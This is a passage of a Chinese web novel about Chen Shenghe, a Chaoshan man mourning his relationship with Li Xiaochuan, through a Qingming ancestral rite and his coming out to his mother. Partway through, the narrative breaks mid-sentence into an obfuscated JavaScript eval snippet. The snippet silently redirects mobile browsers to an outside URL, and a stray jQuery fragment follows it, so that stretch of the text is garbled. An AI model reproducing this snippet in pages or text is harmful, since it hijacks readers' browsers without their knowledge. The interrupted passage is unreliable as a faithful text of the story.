有次他发烧，李霄川连夜背他去打针，路上一直哼着荒腔走板的粤语歌哄他，本来烧迷糊了，硬是被笑清醒了。


    “忧思伤脾，肝气郁结。”老中医提笔写药方，“后生仔，心有千千结，要说出来啊。”


    母亲付钱时，他瞥见药方最下面一行小字：忌情绪大悲大喜。


    可他所有的大悲大喜，早就跟着那个人，一起留在成都了。


    晚上回到家，他还是什么都吃不下。饭菜的味道一飘过来，胃里就翻江倒海，只能冲进卫生间干呕。


    爸妈看他的眼神里，担忧中带着探究，他感觉他们大概猜到了点什么。


    可他真的太累了，累到连开口解释的力气都没有，只想一个人缩着，不被任何人打扰。


    深夜的卧室，安静得像一个密不透风的茧，把他紧紧包裹在里面。


    他蜷在床角，手机屏幕冰冷的光打在他消瘦的脸上，颧骨显得愈发突出。


    就在这时，屏幕顶端突然弹出一条提醒：特别关注的 @川流不息官方微博更新了一组演出照。


    照片里，李霄川勾着武生脸谱，一身红衣鲜艳夺目，手指夹着的铜钱镖寒光凛冽。


    配文写着：【《白蛇传》新编，许仙改武生演法】


    他放大照片，看见李霄川左手小指上还戴着那枚素银戒，内圈上刻着他名字缩写。


    原来……他没扔。


    这个发现让心口猛地一抽。手指在屏幕上悬停了好久，理智告诉他别存，可最终，手指还是不受控制地落了下去，按下了保存键。


    刚退出相册，一个提示框猝不及防地跳了出来，蓝底白字，扎得他眼睛生疼：【今日是“成都记忆”相册创建三周年】


    心跳骤然失序。


    他像是被什么牵引着，手指不由自主地切到了购票软件，机械地输入“成都－潮汕”，页面跳转，特价机票的信息在眼前滑动，他的手指就在那“立即购买”的按钮上方徘徊。


    直到付款界面弹出，锁屏上清晰的日期猛地刺入眼帘，快到清明了……


    这个念头像一盆冰水，对着他当头淋下，瞬间浇灭了所有不切实际的冲动。


    十分钟后，他默默退出了APP。


    购物车再次被清空，和去年、和前年一样，只剩下一条系统自动发来的短信，冷冰冰地躺在收件箱里：


    【您尚未完成支付】


    ……


    清明这天的祠堂，比冬至还要闷，闷得人胸口发沉。


    陈声和跪在褪了色的旧蒲团上，听见父亲以及家族长辈的皮鞋碾过青砖的声响停在身后。


    今年轮到他点香。三炷檀香被递过来，父亲粗糙的拇指在他虎口上重重一按。这是小时候教他握笔的习惯动作，他懂，是叫他稳着点，别出错。


    “一炷敬天地。”


    香头在烛焰里爆出细小的火星，他俯身时听见自己颈椎发出轻响。青烟笔直地上升，在梁柱间散成淡蓝色的雾。


    “二炷敬祖宗。”


    第二炷香稳稳立住，檀香的气息弥漫开来，就像是枷锁，实实在在压上他的肩。


    该第三炷了。


    他手刚抬起，食指猛地一疼，低头一看，不知什么时候，被香灰烫了个水泡。


    疼痛让他一下子走神，想起大三那年，和李霄川挤在成都文殊院的偏殿。那人非要把三炷香插得歪七扭八，排成一个“川”字。


    “管他呢，反正神仙认得我的字！”李霄川当时笑嘻嘻的说完，就被住持追着打了半个院子。


    潮汕人拜神，最虔诚的时候，第三炷香敬什么？


    那时候李霄川盘腿坐在他们公寓的床上，捏着嗓子，怪里怪气地学他说话：“你们潮汕人拜神哦，最虔诚的时候，到底许什么愿呀？”


    他当时一下就笑了，伸手去戳那人的锁骨：“一炷敬天地，一炷敬祖宗，第三炷嘛……敬人吧。”


    “敬人？”


    李霄川挑眉，笑着抓住他手指，凑过来，一个吻烫在他手指。


    他记得自己当时认真回答：“第三炷……敬本心。”


    还有一句没出口的是：而我的本心，是你。


    李霄川当时还追问：“那要是本心和祖宗冲突了，怎么办？”


    他没答上来。


    现在，他站在自家祠堂里，香火缭绕，答案却忽然清晰起来。


    ——如果本心和祖宗冲突，十个潮汕人里，有九个会选祖宗。


    那自己呢？


    “敬神……”父亲低沉的声音突然在耳边响起，他猛地回神，才发现自己的手悬在香炉上，停了太久。


    檀香味一下子冲鼻，浓得发呛，像无数只看不见的手，从祖宗牌位后面伸出来，要把他拽回那条走了千百年的老路。


    他垂下眼，终于把第三炷香往炉中插去。


    手指刚离开香炉，那柱香却突然折断。


    “…………”


    断掉的那截香落在铜香炉边，祠堂里静得可怕。族长沉着脸，目光钉在他身上。


    无人说话，但那种沉默比任何指责都更让人窒息。


    父亲闭上眼，动作慢得像合上一本千斤重的族谱。


    “跪着。”那两个字像是从牙缝里磨出来的，带着涩意，“等香烧完。”


    偏厅的青砖返潮，寒气很快渗进膝盖里，两条腿渐渐没了知觉。


    几只蚂蚁沿着砖缝忙忙碌碌，搬着不知哪来的糕点屑。它们不用想第三炷香该敬给谁，它们有既定的路，就够了。


    月光从雕花木窗的缝隙里漏进来，在青砖地上投下细碎的光斑，晃晃悠悠的。


    陈声和盯着那点晃动的亮，看着看着，眼前模糊起来，仿佛又回到了成都那个夏夜，和李霄川并排躺在凉席上，电扇吱呀呀地转……


    记忆中锦里的灯火总是亮得晃眼。李霄川拽着他的手腕挤过人群，汗湿的掌心贴着他的脉搏。


    糖画摊前暖黄的灯泡底下，那人侧脸轮廓被镀了层毛茸茸的光，正嬉皮笑脸跟老板磨：“老师，两个糖画十五块嘛！我们学生娃儿，穷得很嘞……”


    最后塞到他手里的兔子糖画，耳朵歪了一只。糖丝在夏夜里拉得老长，亮晶晶的。


    “像你不？”李霄川呲着虎牙笑，“看着乖，其实倔得要命。”


    周围人挤人，可没谁多看他们一眼，没人在意两个男孩的肩膀为什么贴在一起。


    那时候，没人管他们牵不牵手，也没人会为了一炷断掉的香，罚他跪一整夜。


    成都的烟火气，潮汕的香火气。


    一个自由得让他羡慕，一个沉重得让他窒息。


    祠堂外竹叶沙沙响，他下意识去摸口袋里的手机。


    屏幕亮起的瞬间，“省非遗中心”几个字跳进眼里，邮件通知：《潮汕英歌舞》纪录片立项通过。


    指头悬在回复键上，抖了抖。


    他忽然有点走神，心想，要是李霄川在这儿，会怎么回这封正经八百的邮件？


    就这一下，他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005905|193990||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    特别想听听那人的声音。


    哪怕一句。


    哪怕……只是喘口气儿也好。


    他点开通讯录，手指在那个名字上悬了半天，最后心一横，按了下去。


    嘟……


    嘟……


    第三声还没响，他猛地按掉。


    四周暗下去，手机屏幕的光渐渐熄了，照出他自己发白的脸。


    祠堂外头，守夜人的咳嗽掺着英歌舞排练的鼓点，咚咚咚，敲得他太阳穴直跳。


    他慢慢蜷起手指，指甲陷入掌心的疼痛让他终于确认，自己终究还是那个……连一通电话都不敢听完的胆小鬼。


    ……


    日复一日，年复一年，转眼一年又过去了。


    老家这地方，一年到头总是湿漉漉的。空气里飘着海腥味，掺着祠堂里的香火气，黏在皮肤上，怎么擦都擦不干。


    陈声和从小闻惯了的味道，现在却让他喉咙发苦，心里发闷。


    他跪在老房子的檀木地板上收拾从英国带回来的行李。天气一返潮，木头缝里就渗出水珠，膝盖早就跪麻了，那寒意顺着骨头缝往身上钻。


    马上又要过年了。他都没想过，自己居然就这么熬过来了。


    手指摸到那张拍立得，颜色有点褪了，但李霄川的笑容还是那么清楚。


    照片里他站在都江堰的鱼嘴上，身后是翻着白沫的岷江水。风把他的刘海吹得乱七八糟，他半侧着身子看镜头，眼角的笑纹里像是盛满了下午的阳光。


    那是陈声和最熟悉的笑容，也是只对他一个人绽放的明亮。


    照片边边上，有一圈细细的牙印。


    那时候李霄川把这张照片塞进他大衣口袋，他想都没想，低头就咬了一口。


    “属狗的啊你？”李霄川捏他后脖颈，拇指蹭过他咬照片时露出来的虎牙。


    “做个记号嘛。”他含含糊糊地说，牙齿在相纸上碾出细小的褶皱，“这样就算以后弄丢了……”


    后半句话他没说完，现在也不用说了。牙印还在，人却已经隔着两千多公里，远得够不着。


    衣柜里的防尘袋沙沙响，他机械地扯开那件羊绒大衣。一片枯黄的银杏叶打着转飘下来，叶子上全是褐色的斑点，边边都卷起来了，像烧焦的纸钱。


    “你们潮汕少见银杏吧？”李霄川当时这么说，“以后你看到银杏，就会想起……”


    话没说完。叶子在他手指底下突然碎了，碎末从指缝里簌簌地往下掉。他盯着手心里那点残骸，听见自己牙齿打架的轻微声响。


    “阿和？”


    阿妈的声音卡在门缝里。


    他没抬头，但能感觉到她的视线死死钉在他手心上，照片上李霄川的脸，指缝里的碎叶子，还有这一年来所有溃烂的、藏不住的伤疤。


    “这是……”阿妈的目光在照片上挪不开了，声音比祠堂里的蜘蛛网还要轻。


    窗外英歌舞的鼓点突然炸响，咚！咚！咚！每一声都像直接夯进他胸口，在锣鼓的金属颤音里，他第一次用潮汕话说：“阿妈，瓦欢男个。”


    空气一下子凝固了，像祠堂房梁上积了多年的灰，只要不动就永远落在那儿。


    阿妈扶着门框的手背上青筋暴起，指甲盖泛出死白。整整半分钟，她张了张嘴，却什么声音都没发出来，最后默默地关上门，老木门轴发出垂死的吱呀声。


    五分钟后，阿爸的心电监护仪在巷子里拉出刺耳的警报，一声接一声，撕破了年关前短暂的宁静。